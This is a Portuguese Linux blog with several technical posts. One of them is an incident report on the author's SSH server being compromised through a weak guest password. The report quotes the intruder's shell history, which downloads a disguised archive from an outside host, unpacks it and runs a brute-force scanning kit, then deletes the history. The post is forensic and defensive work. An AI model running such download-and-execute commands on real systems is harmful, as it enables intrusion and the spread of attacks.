domingo, 28 de janeiro de 2018

Transição iptables → nftables

O novo sistema de firewall do Linux, nftables, já faz parte do Debian 9 (lançado em Junho de 2017).
Os autores já consideram este sistema suficientemente estável para se substituir o velhinho iptables na grande maioria dos casos:

Principais diferenças relativamente ao iptables

  1. A sintaxe da configuração é mais compacta, permitindo reduzir o número de linhas em configurações não-triviais.
  2. Melhor desempenho, reduzindo a carga no CPU em chains que seriam extensas com iptables e se tornam simples com nftables.
  3. Capacidade de monitorizar a avaliação de pacotes através das regras que atravessam (exemplos sobre esta monitorização na wiki oficial).
  4. Sendo o código mais fácil de manter no Kernel, potencia-se uma evolução mais rápida e com menos bugs comparativamente com iptables.
  5. Alguns exemplos da nova sintaxe:

Conceitos importantes

  1. Hooks: os pontos no processamento de cada pacote (dentro do Kernel Linux) em que se podem tomar acções.
  2. Famílias (families): definem que tipo de pacotes uma data tabela pode ver. Exemplos: arp, ip6, etc.
  3. Regras (rules): definem o que deve ser feito com cada pacote: alterá-lo, deixá-lo cair, encaminhá-lo para outro destino, etc.
  4. Política (policy): decisões que podem ser tomadas por cada regra.
  5. Cadeias (chains): contêm conjuntos de regras. Uma cadeia está normalmente associada a um hook. É frequente ver o termo chain hook ("hook da cadeia"), que reforça a ideia de que a cadeia em questão corresponde ao hook em questão.
  6. Tabelas (tables): contêm conjuntos de cadeias. Cada tabela corresponde ao processamento de apenas uma família de pacotes.

Um diagrama típico dos hooks existentes. As famílias que podem ser manipuladas em cada um são indicadas dentro de parêntesis:
... ------> ingress
            (netdev)
                |
                v
     .----- prerouting -----.
     |    (ip, ip6, inet)   |
     |                      |
     v                      v
   input                forward 
 (ip, arp)                (ip)
     |                      |
     v                      |
  PROCESSO                  |
     |                      |
     v                      v
   DECISÃO -> output -> postrouting ------> ...
             (ip, arp)      (ip)

Para permitir a manipulação de pacotes que passam pelo hook forward, continua a ser necessário executar # sysctl net.ipv4.ip_forward=1
ou # echo 1 > /proc/sys/net/ipv4/ip_forward. Ver Utilizar um PC como gateway para acesso de outro(s) à rede.

Mais detalhes:
  • Cada regra tem um handle, que representa um número interno pelo qual a regra pode ser referida
  • Cada regra tem uma posição, que indica o número da sua posição na cadeia.
  • Todas as famílias:
    • arp
    • bridge
    • ip
    • ip6
    • inet
    • netdev
  • Todas as políticas:
    • accept
    • drop
    • queue
    • continue
    • return
  • Tipos de cadeias básicos:
    • filter (suportado por arp, bridge, ip, ip6 e inet)
    • route (suportado apenas por ip e ip6)
    • nat (suportado apenas por ip e ip6)
  • É possível migrar automaticamente de uma configuração com iptables para nftables. Estão instruções na wiki oficial: nftables wiki - Moving from iptables to nftables

Referências:
nftables wiki
nftables wiki - Netfilter hooks
nftables wiki - Quick reference, nftables in 10 minutes
nftables wiki - Configuring chains

quarta-feira, 8 de abril de 2015

Skype com aspecto nativo em GTK

# if [ $(dpkg --print-architecture) == "amd64" ] ; then dpkg --add-architecture i386 ; fi
# apt-get install gtk2-engines-pixbuf:i386

quarta-feira, 24 de dezembro de 2014

Mudar nomes de fotografias para incluir a data no nome

SAVEIFS=$IFS
IFS=$(echo -en "\n\b")
for i in *.jpg *.JPG
do
  echo Processing $i...
  SPEC=$(/usr/bin/exiv2 $i  |/bin/grep -a timestamp) 
  [ $? -eq 0 ] || (echo Skipping $i. && continue);
  IFS=$SAVEIFS
  read X Y YEAR MONTH DAY HOUR MINUTE SECOND <<<${SPEC//:/ }
  IFS=$(echo -en "\n\b")
  [ "x$YEAR" = "x" ] && echo Skipping $i. && continue;
  mv "$i" "$YEAR-$MONTH-$DAY $HOUR:$MINUTE:$SECOND - $i"
  IFS=$(echo -en "\n\b")
done

IFS=$SAVEIFS

domingo, 15 de dezembro de 2013

Ferramentas úteis para diagnóstico e análise de redes

Sim, sim, notícia de última hora: os administradores de redes têm acesso a tudo o que passa nos tubos.
  • iperf - Testa o throughput entre duas máquinas;
  • mtr - Testa o ping e identifica a rota entre duas máquinas (semelhante a um ping com traceroute);
  • nethogs - Mostra a utilização da rede por cada processo em execução na máquina;
  • netstat - Lista as ligações actuais iniciadas ou dirigidas à máquina;
  • netstat-nat - Lista as ligações "traduzidas" que atravessam a máquina;
  • conntrack - Versão mais moderna do netstat-nat, apresenta um output mais completo;
  • iftop - Mostra as ligações que atravessam um dado interface, com respectivo consumo instantâneo de largura de banda. Mostra também o throughput total agregado do interface;
  • jnettop - Semelhante ao iftop. Permite ainda analisar sessões HTTP que passem em claro;
  • tcpdump - Observa e permite guardar para posterior análise todo o tráfego, em cru, que atravessa um interface;
  • nicstat - Mostra estatísticas para cada interface;
  • bmon - Mostra estatísticas para um dado interface sob a forma de gráfico bem como totais. Permite mostrar o output em páginas HTML;
  • bwm-ng - Mostra estatísticas para cada interface e um agregado total. Ferramenta muito útil, mas infelizmente apenas permite mostrar Bytes e não Bits por segundo;
  • dstat - Mostra diversas estatísticas sobre o sistema. Permite imprimir a largura de banda em uso actualmente para cada interface, bem como o total agregado;
  • iptraf - Estatísticas detalhadas sobre ligações e interfaces.
Agradece-se a contribuição de quem conhecer mais ferramentas para análise de redes em GNU/Linux.

Estão mais algumas sugestões na página sobre Bandwidth Monitoring da Wiki do OpenWrt.

sábado, 10 de agosto de 2013

Lições tomadas depois do hacking ao meu servidor

Depois do ataque de que o meu servidor foi alvo, estive a informar-me e a estudar soluções e procedimentos recomendados a tomar neste tipo de soluções. Aos interessados, ficam aqui informações que considero bastante úteis.


Alguns documentos de leitura recomendada
cert.pt - Passos para recuperação de um compromisso de segurança: Um pouco desactualizado, mas tem informação que ainda pode ser útil para uma primeira análise. Atenção: alguns dos procedimentos aqui recomendados poderão já não ser adequados actualmente. Por exemplo: desligar o computador da rede pode provocar um ataque "kamikaze" da parte de algumas ferramentas de ataque, que podem despoletar um rm -rf / quando perdem a ligação à rede.

As seguintes ligações também são bastante informativas e nunca são demais de recordar para o público em geral: cert.pt - O que fazer em caso de infecção por vírus informático e cert.pt - Cuidados a ter com Conversas em Instant Messengers, IRCs e Chat On-Line.

Em casos em que haja mais recursos (empresas ou organizações com administradores de sistemas dedicados), o seguinte documento contém recomendações para uma abordagem sistemática a estas situações: cert.pt - Recolha e Armazenamento de Dados de Prova. Aqui reforça-se bem a ideia, a não esquecer, de se fazer sempre a análise forense num sistema isolado. Caso contrário, o computador que faz a análise corre o risco real de ficar também infectado.

Outro documento, bem mais actual e bastante útil: Securing Debian Manual - Chapter 11 - After the compromise (incident response).


Posto isto, resumo aqui algumas ferramentas úteis que recolhi ou que me foram recomendadas por terceiros. Fica aqui o meu agradecimento público àqueles que contribuíram para o enriquecimento desta lista.

Ferramentas de análise forense:

  • sleuthkit: Um pacote com várias ferramentas para análise de um sistema comprometido. Permite recolher informação sobre ficheiros apagados, processos em execução, entre outros.
  • autopsy: Um interface web para análise forense de imagens de discos.

Ferramentas de prevenção:

  • Logwatch: O logwatch, como o próprio nome indica, observa os logs do sistema, e envia todos os dias para o administrador um relatório com um resumo sobre os mesmos. Este relatório inclui a contagem de tentativas e acessos ao servidor, software instalado, estado dos discos e partições, entre outros.
  • Tripwire: Mantém um checksum dos programas instalados no sistema. Deve ser configurado assim que o sistema é instalado, quando se tem a certeza de que não houve qualquer intrusão. Depois de um ataque (ou suspeita de ataque), é possível detectar os ficheiros alterados (cujo checksum não corresponde ao guardado anteriormente).
  • Limitação de ligações: A lógica destas ferramentas é limitar o número de ligações permitidas para reduzir a frequência (e a eficácia) de ataques por dicionário, como aquele de que fui vítima.
    • Limitar Ligações SSH: colocar uma regra simples na firewall para limitar o número de ligações por minuto provenientes do mesmo endereço IP e destinadas ao porto do servidor SSH. Limitar ligações com frequência acima das 3 por minuto vindas do mesmo IP pode reduzir mais de 70% dos port scans. Esta sugestão é simples e interessante, mas pode tornar-se incómoda para as ocasiões em que eu próprio tenho dificuldades em acertar com as passwords.
    • DenyHosts: O DenyHosts mantém uma listagem das origens de ataques conhecidas, compilada por milhares de utilizadores da ferramenta. É um bom princípio, mas tem dois senãos principais: primeiro, estou a confiar numa listagem criada por desconhecidos, e um ataque coordenado a esta listagem (que não sei se alguma vez aconteceu) pode inviabilizar o acesso à máquina; segundo, só limita as tentativas de acesso ao SSH. Idealmente, gostaria de limitar os acessos a toda a máquina, e não apenas ao servidor SSH na mesma.
    • fail2ban, SSHGuard: Estas duas ferramentas negam as ligações à máquina a todos os que tiverem falhado ao ligar-se à mesma. À semelhança do que acontece quando se falha um login num screensaver, em que o tempo de espera para novas tentativas vai aumentando, estas tornam o intervalo entre tentativas de acesso à máquina cada vez maior. Completarei esta secção quando tiver uma comparação mais detalhada e informada entre as duas.
    • Deixar de usar passwords e permitir apenas chaves públicas reconhecidas: Esta é uma solução eficaz, mas o grande problema surge quando pretendo aceder a partir de uma máquina nova, cuja chave não se encontra no servidor. Fico bloqueado do lado de fora. Adicionalmente, se não forem utilizadas passphrases, faz ainda partir do princípio de que confio plenamente nas máquinas cujas chaves foram ali enviadas, o que pode nem sempre ser verdade.

Todas as ferramentas mencionadas estão disponíveis nos repositórios de qualquer distribuição decente. ;)

terça-feira, 26 de fevereiro de 2013

O meu servidor foi "hackado"

É verdade. Hoje ao aceder ao computador que uso em casa como servidor reparei que estavam dois executáveis, um com o nome a, outro com o nome start, bem como uma data de processos sshd a correr na conta do utilizador "visitante". O visitante é uma conta que serve para quem precisar, utilizar o computador como self-service quando lá vai a casa.

Acontece que, pela natureza da conta, a password que lhe estava associada era muito estúpida. Sugestão: é a primeira coisa que vos vem à cabeça quando lêem o nome do utilizador. Até aqui nada de especial. Não fosse o facto de este computador estar disponível para acesso remoto através da Internet. E não fosse o facto de eu nunca me ter lembrado de proibir o acesso remoto através desta conta. Algo que devia ter feito, dada a password estúpida que lá tinha.

Posto isto, era uma questão de tempo até acontecer o que aconteceu. Deixo aqui um "relatório" do que encontrei na máquina:
 

  • Últimas instruções executadas e não escondidas pelo atacante (aparentemente apagou o registo das instruções mais antigas):
    # cat .bash_history 
    rm -rf .system
    killall -9 httpd 
    rm -rf .bash_history
    rm -rf Quick
    rm -rf Quick.mp3
    wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
    uptime
    wget http://www.visatorul.go.ro/Quick.mp3
    tar -xzvf Quick.mp3
    cd Quick
    chmod +x *
    nohup ./start 204 >>/dev/null &
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    ps -x
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    cd Quick
    cat vuln.txt
    
    O site http://www.visatorul.go.ro, de onde foi sacado o Quick.mp3 (na verdade um pacote gzip), ainda está disponível e contém diversas ferramentas úteis para realizar ataques deste tipo.
     
  • Conteúdo da directoria Quick, para onde foi extraído o conteúdo do ficheiro Quick.mp3:
    # ls -a /home/visitante/Quick
    total 2.6M
    drwxr-xr-x  2 visitante visitante 4.0K Feb 25 23:21 ./
    drwxr-xr-x 22 visitante visitante 4.0K Feb 21 01:05 ../
    -rwxr-xr-x  1 visitante visitante  382 Mar 25  2006 0-20
    -rwxr-xr-x  1 visitante visitante  405 Mar 25  2006 101-120
    -rwxr-xr-x  1 visitante visitante  406 Mar 25  2006 121-140
    -rwxr-xr-x  1 visitante visitante  405 Mar 25  2006 141-160
    -rwxr-xr-x  1 visitante visitante  405 Mar 25  2006 161-180
    -rwxr-xr-x  1 visitante visitante  405 Mar 25  2006 181-200
    -rwxr-xr-x  1 visitante visitante  460 Mar 25  2006 201-225
    -rwxr-xr-x  1 visitante visitante  384 Mar 25  2006 21-40
    -rwxr-xr-x  1 visitante visitante  515 Mar 25  2006 226-255
    -rwxr-xr-x  1 visitante visitante  383 Mar 25  2006 41-60
    -rwxr-xr-x  1 visitante visitante  383 Mar 25  2006 61-80
    -rwxr-xr-x  1 visitante visitante  385 Mar 25  2006 81-100
    -rwxr-xr-x  1 visitante visitante  466 May  6  2008 a
    -rwxr-xr-x  1 visitante visitante 5.9K May 15  2005 pscan2
    -rwxr-xr-x  1 visitante visitante  309 May  6  2008 scan
    -rwxr-xr-x  1 visitante visitante 245K Feb 13  2001 screen
    -rwxr-xr-x  1 visitante visitante 1.4M Jun  5  2005 sshd
    -rwxr-xr-x  1 visitante visitante 3.2K May  6  2008 start
    -rwxr-xr-x  1 visitante visitante 5.7K May 15  2005 pscan2.c
    -rw-r--r--  1 visitante visitante  28K Feb 25 21:34 scan.log
    -rwxr-xr-x  1 visitante visitante  78K Feb 25 05:15 nobash.txt
    -rwxr-xr-x  1 visitante visitante  75K Mar 10  2007 pass.txt
    -rwxr-xr-x  1 visitante visitante 684K Feb 24 19:05 vuln.txt
  • Tipos reais dos ficheiros:
    # file W2Ksp3.exe Quick.mp3
    W2Ksp3.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
    Quick.mp3: gzip compressed data, from Unix, last modified: Tue May 6 17:32:53 2008

    # file Quick/*
    Quick/0-20: ASCII text
    Quick/101-120: ASCII text
    Quick/121-140: ASCII text
    Quick/141-160: ASCII text
    Quick/161-180: ASCII text
    Quick/181-200: ASCII text
    Quick/201-225: ASCII text
    Quick/21-40: ASCII text
    Quick/226-255: ASCII text
    Quick/41-60: ASCII text
    Quick/61-80: ASCII text
    Quick/81-100: ASCII text
    Quick/a: Bourne-Again shell script text executable
    Quick/nobash.txt: ASCII Pascal program text
    Quick/pass.txt: ASCII Pascal program text
    Quick/pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, stripped
    Quick/pscan2.c: ASCII C program text
    Quick/scan: Bourne-Again shell script text executable
    Quick/scan.log: ASCII text
    Quick/screen: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped
    Quick/sshd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, not stripped
    Quick/start: ASCII C++ program text
    Quick/vuln.txt: ASCII text

    Ao analisar os scripts deixados percebe-se que o atacante pretende pelo menos localizar outras máquinas onde seja possível entrar com recurso a ataques de bruteforce/dicionário. Não encontrei vestígios de tentativas de escalada de privilégios.
     
  • As entradas na máquina foram todas provenientes de IPs dentro da gama 80.79.152.0 - 80.79.159.255, alocada à "Gulf Research & Development Company", do Líbano. Provavelmente outra vítima destes ataques. As linhas brancas correspondem a entradas legítimas na máquina feitas por mim:
    # last
    
    
    visitant pts/7        80.79.159.129    Mon Feb 25 18:27 - 18:31  (00:03)    
    visitant pts/7        80.79.159.207    Sun Feb 24 20:58 - 20:58  (00:00)    
    visitant pts/7        80.79.159.68     Sun Feb 24 11:17 - 11:17  (00:00)    
    visitant pts/7        80.79.159.236    Sat Feb 23 17:50 - 17:50  (00:00)    
    visitant pts/7        80.79.159.236    Sat Feb 23 17:41 - 17:42  (00:01)    
    visitant pts/9        80.79.159.18     Sat Feb 23 09:02 - 09:02  (00:00)    
    visitant pts/7        80.79.159.179    Sat Feb 23 08:58 - 09:14  (00:16)    
    visitant pts/7        80.79.159.73     Fri Feb 22 18:25 - 18:26  (00:00)    
    visitant pts/7        80.79.159.186    Thu Feb 21 08:53 - 08:53  (00:00)    
    visitant pts/7        80.79.159.118    Thu Feb 21 01:05 - 01:12  (00:07)    
    visitant pts/7        80.79.159.118    Wed Feb 20 21:22 - 21:25  (00:03)    
    visitant pts/7        80.79.159.118    Wed Feb 20 19:56 - 19:57  (00:00)    
    visitant pts/7        80.79.159.129    Tue Feb 19 09:54 - 09:55  (00:01)    
    visitant pts/7        80.79.159.206    Mon Feb 18 19:04 - 19:11  (00:06)    
    
    
    visitant pts/7        80.79.159.163    Sun Feb 17 07:49 - 07:56  (00:06)    
    visitant pts/7        80.79.159.194    Sat Feb 16 09:47 - 10:01  (00:14)    
    visitant pts/7        80.79.159.86     Fri Feb 15 19:33 - 19:33  (00:00)    
    
    visitant pts/7        80.79.159.184    Thu Feb 14 08:53 - 08:54  (00:00)    
    visitant pts/7        80.79.159.95     Wed Feb 13 18:51 - 18:53  (00:01)    
    visitant pts/7        80.79.159.192    Wed Feb 13 06:59 - 09:10  (02:11)    
    visitant pts/7        80.79.159.180    Tue Feb 12 18:55 - 19:00  (00:04)    
    visitant pts/7        80.79.159.243    Tue Feb 12 09:54 - 10:03  (00:08)    
    
    visitant pts/7        80.79.159.189    Mon Feb 11 19:36 - 19:37  (00:00)    
    visitant pts/7        80.79.159.189    Mon Feb 11 18:19 - 18:20  (00:00)    
    visitant pts/7        80.79.159.189    Mon Feb 11 18:11 - 18:17  (00:06)    
    

    Dadas as durações dos acessos, leva a crer que se trata de um bot que só se liga para deixar instruções previamente decididas, e não de alguém que tenha andado a "cheirar" os ficheiros do computador. Exceptuando, talvez, durante o dia 13 de manhã.
     
  • Registo de acessos:
    # lesspipe /var/log/auth.log.2.gz |grep "Accepted password"
    Feb 11 12:10:16   sshd[1966]: Accepted password for visitante from 201.238.204.67 port 37068 ssh2
    Feb 11 18:11:07   sshd[7375]: Accepted password for visitante from 80.79.159.189 port 23054 ssh2
    Feb 11 18:19:54   sshd[7534]: Accepted password for visitante from 80.79.159.189 port 22739 ssh2
    Feb 11 19:36:43   sshd[8196]: Accepted password for visitante from 80.79.159.189 port 22919 ssh2
    Feb 12 09:54:33   sshd[10735]: Accepted password for visitante from 80.79.159.243 port 3454 ssh2
    Feb 12 18:55:20   sshd[13432]: Accepted password for visitante from 80.79.159.180 port 42865 ssh2
    Feb 13 06:59:21   sshd[17464]: Accepted password for visitante from 80.79.159.192 port 5037 ssh2
    Feb 13 18:51:32   sshd[22779]: Accepted password for visitante from 80.79.159.95 port 27166 ssh2
    Feb 14 08:53:31   sshd[31507]: Accepted password for visitante from 80.79.159.184 port 2579 ssh2
    Feb 15 19:33:00   sshd[23053]: Accepted password for visitante from 80.79.159.86 port 56613 ssh2
    Feb 16 09:47:26   sshd[30487]: Accepted password for visitante from 80.79.159.194 port 56333 ssh2
    
    # grep "Accepted password" /var/log/auth.log.1 
    Feb 17 07:49:45   sshd[10186]: Accepted password for visitante from 80.79.159.163 port 63784 ssh2
    
    Feb 18 19:04:13   sshd[21598]: Accepted password for visitante from 80.79.159.206 port 51549 ssh2
    Feb 19 09:54:14   sshd[25465]: Accepted password for visitante from 80.79.159.129 port 25247 ssh2
    Feb 20 19:56:58   sshd[32602]: Accepted password for visitante from 80.79.159.118 port 40872 ssh2
    Feb 20 21:22:01   sshd[32715]: Accepted password for visitante from 80.79.159.118 port 40947 ssh2
    Feb 21 01:05:34   sshd[891]: Accepted password for visitante from 80.79.159.118 port 40872 ssh2
    Feb 21 08:53:13   sshd[17609]: Accepted password for visitante from 80.79.159.186 port 35478 ssh2
    Feb 22 18:25:05   sshd[24206]: Accepted password for visitante from 80.79.159.73 port 40585 ssh2
    Feb 23 08:58:03   sshd[27106]: Accepted password for visitante from 80.79.159.179 port 61723 ssh2
    Feb 23 09:02:07   sshd[27118]: Accepted password for visitante from 80.79.159.18 port 17361 ssh2
    Feb 23 17:41:54   sshd[31889]: Accepted password for visitante from 80.79.159.236 port 16591 ssh2
    Feb 23 17:50:30   sshd[31912]: Accepted password for visitante from 80.79.159.236 port 16261 ssh2
    
    # grep "Accepted password" /var/log/auth.log
    Feb 24 11:17:09   sshd[4021]: Accepted password for visitante from 80.79.159.68 port 43311 ssh2
    Feb 24 20:58:24   sshd[7093]: Accepted password for visitante from 80.79.159.207 port 48938 ssh2
    Feb 25 18:27:50   sshd[15629]: Accepted password for visitante from 80.79.159.129 port 19269 ssh2
    Interessante como o primeiro login com sucesso foi proveniente do IP 201.238.204.67. Os subsequentes, feitos a partir do mesmo dia ao final da tarde, já vieram todos a partir da subnet 80.79.159.XX. Dá a sensação de que houve comunicação da parte de um "descobridor" para um "atacante" de que foi descoberto um "alvo".
     
  • O ClamAV não encontrou nada de especial. Na verdade, também não me pareceu estarem envolvidos programas muito estranhos. Apenas ferramentas comuns que tiram partido das passwords fracas como a que eu tinha:
    # clamscan --infected -r /home/visitante/
    
    ----------- SCAN SUMMARY -----------
    Known viruses: 1868992
    Engine version: 0.97.6
    Scanned directories: 136
    Scanned files: 223
    Infected files: 0
    Data scanned: 54.67 MB
    Data read: 107.96 MB (ratio 0.51:1)
    Time: 53.460 sec (0 m 53 s)
    

Não encontrei nada suspeito na /tmp/ nem ficheiros pertencentes ao visitante fora da sua directoria home. Não encontrei nada de suspeito fora da directoria Quick.
Se alguém tiver conselhos para aprofundar a análise/ficheiros a investigar, agradeço. Encontrei muito poucas referências a ataques deste tipo (com estes ficheiros em particular). Este relatório no site Shell Person parece semelhante. Aliás, este post foi inspirado no mesmo.
Os ficheiros encontrados no computador estão disponíveis para análise aqui.

terça-feira, 11 de dezembro de 2012

Cábula para Git

Clonar um repositório, trabalhar nele e enviar as alterações:
$ git clone <repo>
$ cd repo
$ # make changes to repo
$ git add <files>
$ git status
$ git commit -m "Commit message"
$ git push --verbose
Adicionar o repositório "upstream", obter os commits do mesmo e enviar tudo para o nosso repositório:
$ git remote -v
$ git remote add upstream <upstream-repo>
$ git fetch upstream
$ git merge upstream/master
$ git mergetool
Referências:
Syncing a fork · github:help
How do I fix merge conflicts in Git? - Stack Overflow

quinta-feira, 27 de setembro de 2012

Programação com GTK+

Ao programar com GTK+, não esquecer: Não manipular o interface gráfico (GUI) com threads secundárias.

Os motivos estão (muito!) bem explicados na wiki da Gnome, no artigo GDK's lock, its adventures in space! (And also how to use it).

domingo, 8 de janeiro de 2012

Configurar RAID1 num sistema em execução

Parte-se de um setup inicial em que os dados estão todos em /dev/sda. Pretende-se tê-los duplicados tanto em /dev/sda como em /dev/sdb. Para isso, é criado um array RAID1, /dev/md0.

Como de costume, esta é só uma checklist rápida e não pretende ser um HOWTO. Para um HOWTO decente, recomendo a consulta do link em baixo, nas referências.

  1. Criar a partição de suporte para o array em /dev/sdb: # fdisk /dev/sdb. Torná-lo num "Linux raid autodetect", atribuindo-lhe a flag fd.

  2. # mdadm --create /dev/md0 --level=1 --raid-disks=2 missing /dev/sdb1.

  3. Formatar o array com um sistema de ficheiros. P.ex.: # mkfs.ext4 /dev/md0.

  4. Configurar o mdadm, o fstab e o GRUB.

  5. Copiar os dados para o array. P.ex.: # cp -dpRx / /mnt/md0.

  6. Instalar o GRUB: # grub-install --recheck /dev/sda ; grub-install --recheck /dev/sdb.

  7. Reiniciar o computador. Neste momento há um RAID só com um disco e o disco original ainda com os dados antigos.

  8. Reformatar o /dev/sda, à semelhança do que foi feito com o /dev/sdb no ponto 1.

  9. # mdadm --add /dev/md0 /dev/sda1.

  10. Actualizar ficheiros de configuração do mdadm e GRUB.

  11. # update-grub ; grub-install /dev/sda; grub-install /dev/sdb.

  12. Reiniciar o computador. Neste momento há um RAID com dois discos, a sincronizar-se.



Referências: How To Set Up Software RAID1 On A Running System (Incl. GRUB2 Configuration) (Debian Squeeze)

sábado, 12 de novembro de 2011

Manual de Sobrevivência para Gnome 3

ATENÇÃO: Durante estes passos é conveniente resistir ao impulso de espancar alguém.

Eis como sobreviver (moderadamente) ileso ao Gnome 3:

  1. Encontrar uma forma de chegar a um terminal;

  2. # apt-get install gnome-session-fallback gnome-tweak-tool

  3. Encontrar forma de fazer logout e, no ecrã de login, escolher o modo "GNOME Fallback";

  4. Encontrar forma de executar a "Gnome Tweak Tool", percorrer as opções e tentar escolher as que pareçam menos insanas;

  5. Recuperar a sanidade. Para isto é necessário carregar na tecla Alt enquanto se clica com o botão do lado direito do rato num dos panels e escolher a opção "Remove From Panel" no lixo inútil que povoa os panels e, de seguida, escolher "Add to Panel" e voltar a repor os applets que lá estavam e que ninguém mandou tirar.




Referências:
ao2's blog - Gnome 3: go to Shell? Not just yet, thanks.
Dedoimedo - Gnome 3 - This is the end, it seems